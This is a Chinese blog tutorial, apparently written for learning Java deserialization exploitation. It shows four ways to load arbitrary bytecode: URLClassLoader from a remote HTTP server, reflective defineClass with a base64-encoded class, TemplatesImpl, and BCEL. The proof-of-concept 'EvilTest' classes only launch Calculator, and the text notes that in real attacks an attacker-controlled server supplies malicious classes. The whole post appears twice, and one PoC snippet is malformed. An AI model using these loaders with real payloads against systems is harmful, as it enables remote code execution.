java动态加载字节码的方法

  1. 1. 什么是java字节码
  2. 2. 方法一、利用URLClassLoader加载远程class文件
  3. 3. 方法二、利用ClassLoader#defineClass直接加载字节码
  4. 4. 方法三、利用TemplatesImpl加载字节码
  5. 5. 方法四、利用BCEL ClassLoader加载字节码
  6. 6. 什么是java字节码
  7. 7. 方法一、利用URLClassLoader加载远程class文件
  8. 8. 方法二、利用ClassLoader#defineClass直接加载字节码
  9. 9. 方法三、利用TemplatesImpl加载字节码
  10. 10. 方法四、利用BCEL ClassLoader加载字节码

讨论方法前先来看看什么是字节码

什么是java字节码

严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。
但是我们讨论的字节码可以扩大范围——所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的探讨范围内。
Java的ClassLoader来用来加载字节码文件最基础的方法

  • ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类。Java默认的
  • ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如 java.lang.Runtime 。

方法一、利用URLClassLoader加载远程class文件

URLClassLoader是AppClassLoader的父类,该类可以加载远程class文件。
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻
    找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

我们这里要利用第三种,协议得是非file,最常见的就是http
先创建一个恶意类

1
2
3
4
5
6
7
8
package UrlClassLoaderTest;

import java.io.IOException;
public class EvilTest {
public EvilTest() throws Exception {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

在class文件所在的文件夹下用python快速起一个http服务器

之后试试能不能用UrlClassLoader加载这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package UrlClassLoaderTest;

import java.net.URL;
import java.net.URLClassLoader;
public class UrlLoaderTest
{
public static void main( String[] args ) throws Exception
{
URL[] urls = {new URL("http://localhost:1234/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("UrlClassLoaderTest.EvilTest");
c.newInstance();
}
}

成功弹出计算器

所以在实战中,我们如果能控制ClassLoader为一个http服务器就能加载恶意类。

方法二、利用ClassLoader#defineClass直接加载字节码

不管是加载远程的class文件还是本地的class文件都是经历下面三个方法调用
javaClassLoader#loadClass->ClassLoader#findClass->ClassLoader#defineClass

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

其核心应该是在defineClass方法,因为这个方法才是最后把字节码转化成真正的java类。
我们本地测试一下好了。
一个恶意类,弹出计算机

1
2
3
4
5
6
7
8
package definclass;

import java.io.IOException;
public class EvilTest {
public EvilTest() throws Exception {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

编译成class文件,用shell输出base64编码的字节码

之后利用definClass加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package definclass;

import java.lang.reflect.Method;
import java.util.Base64;

public class evalcmd {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.ClassLoader");
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTGRlZmluY2xhc3MvRXZpbFRlc3Q7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAHAAgHABoMABsAHAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMAB0AHgEAE2RlZmluY2xhc3MvRXZpbFRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAFAAQABgANAAcACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAAAAAIAEQ==");
Class targetClass = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "definclass.EvilTest", code, 0, code.length);
targetClass.newInstance();
}
}

成功弹出计算器

方法三、利用TemplatesImpl加载字节码

TemplatesImpl相对于ClassLoader比较底层,但原理是defineClass()在TemplatesImpl内部的静态类TransletClassLoader被重载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

但这个方法是个private方法不能被外部调用,我们继续看看。
看到getTransletInstance调用了这个方法,但这仍是个私有方法 继续看

最好在NewTransformer方法调用了getTransletInstance,并且这是个public方法,可以外部调用。

调用链是这样的

1
2
3
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

所以poc就有了,这里放p神的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code =
Base64.getDecoder().decode("base64字符串");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

可以看到poc这里用反射设置了三个参数的值,在源码里可以看到原因
_bytecodes是字节码为空的话回返回一个错误

_name可以任意赋值,不为空就行

defineTransletClasses()的run方法调用了_tfactory.getExternalExtensionsMap(),_tfactory所以不能为空

值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。所以需要构造一个特殊的类来触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package TemplatesImplTest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilTest extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public EvilTest() throws Exception{
super();
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

成功弹出计算器
在这里插入图片描述

TemplatesImpl似乎在fastjson和jackson出现的比较多,以后会学到。

方法四、利用BCEL ClassLoader加载字节码

BCEL也是个大知识点,以后重点学习,这里放一下poc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package becl;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;


public class BeclTest {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Evil.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println("$$BCEL$$"+code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}

}

讨论方法前先来看看什么是字节码

什么是java字节码

严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。
但是我们讨论的字节码可以扩大范围——所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的探讨范围内。
Java的ClassLoader来用来加载字节码文件最基础的方法

  • ClassLoader 是什么呢?它就是一个“加载器”,告诉Java虚拟机如何加载这个类。Java默认的
  • ClassLoader 就是根据类名来加载类,这个类名是类完整路径,如 java.lang.Runtime 。

方法一、利用URLClassLoader加载远程class文件

URLClassLoader是AppClassLoader的父类,该类可以加载远程class文件。
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻
    找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

我们这里要利用第三种,协议得是非file,最常见的就是http
先创建一个恶意类

1
2
3
4
5
6
7
8
package UrlClassLoaderTest;

import java.io.IOException;
public class EvilTest {
public EvilTest() throws Exception {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

在class文件所在的文件夹下用python快速起一个http服务器

之后试试能不能用UrlClassLoader加载这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package UrlClassLoaderTest;

import java.net.URL;
import java.net.URLClassLoader;
public class UrlLoaderTest
{
public static void main( String[] args ) throws Exception
{
URL[] urls = {new URL("http://localhost:1234/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("UrlClassLoaderTest.EvilTest");
c.newInstance();
}
}

成功弹出计算器

所以在实战中,我们如果能控制ClassLoader为一个http服务器就能加载恶意类。

方法二、利用ClassLoader#defineClass直接加载字节码

不管是加载远程的class文件还是本地的class文件都是经历下面三个方法调用
javaClassLoader#loadClass->ClassLoader#findClass->ClassLoader#defineClass

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

其核心应该是在defineClass方法,因为这个方法才是最后把字节码转化成真正的java类。
我们本地测试一下好了。
一个恶意类,弹出计算机

1
2
3
4
5
6
7
8
package definclass;

import java.io.IOException;
public class EvilTest {
public EvilTest() throws Exception {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

编译成class文件,用shell输出base64编码的字节码

之后利用definClass加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package definclass;

import java.lang.reflect.Method;
import java.util.Base64;

public class evalcmd {
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("java.lang.ClassLoader");
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTGRlZmluY2xhc3MvRXZpbFRlc3Q7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAHAAgHABoMABsAHAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMAB0AHgEAE2RlZmluY2xhc3MvRXZpbFRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAFAAQABgANAAcACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAAAAAIAEQ==");
Class targetClass = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "definclass.EvilTest", code, 0, code.length);
targetClass.newInstance();
}
}

成功弹出计算器

方法三、利用TemplatesImpl加载字节码

TemplatesImpl相对于ClassLoader比较底层,但原理是defineClass()在TemplatesImpl内部的静态类TransletClassLoader被重载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

但这个方法是个private方法不能被外部调用,我们继续看看。
看到getTransletInstance调用了这个方法,但这仍是个私有方法 继续看

最好在NewTransformer方法调用了getTransletInstance,并且这是个public方法,可以外部调用。

调用链是这样的

1
2
3
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

所以poc就有了,这里放p神的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code =
Base64.getDecoder().decode("base64字符串");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

可以看到poc这里用反射设置了三个参数的值,在源码里可以看到原因
_bytecodes是字节码为空的话回返回一个错误

_name可以任意赋值,不为空就行

defineTransletClasses()的run方法调用了_tfactory.getExternalExtensionsMap(),_tfactory所以不能为空

值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。所以需要构造一个特殊的类来触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package TemplatesImplTest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilTest extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public EvilTest() throws Exception{
super();
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

成功弹出计算器
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ypdjjawo-1632274419328)(http://blog.fmyyy.top/wp-content/uploads/2021/09/wp_editor_md_35e33651c4bcef905ffc631186742bc3.jpg)]
TemplatesImpl似乎在fastjson和jackson出现的比较多,以后会学到。

方法四、利用BCEL ClassLoader加载字节码

BCEL也是个大知识点,以后重点学习,这里放一下poc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package becl;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;


public class BeclTest {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Evil.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println("$$BCEL$$"+code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}

}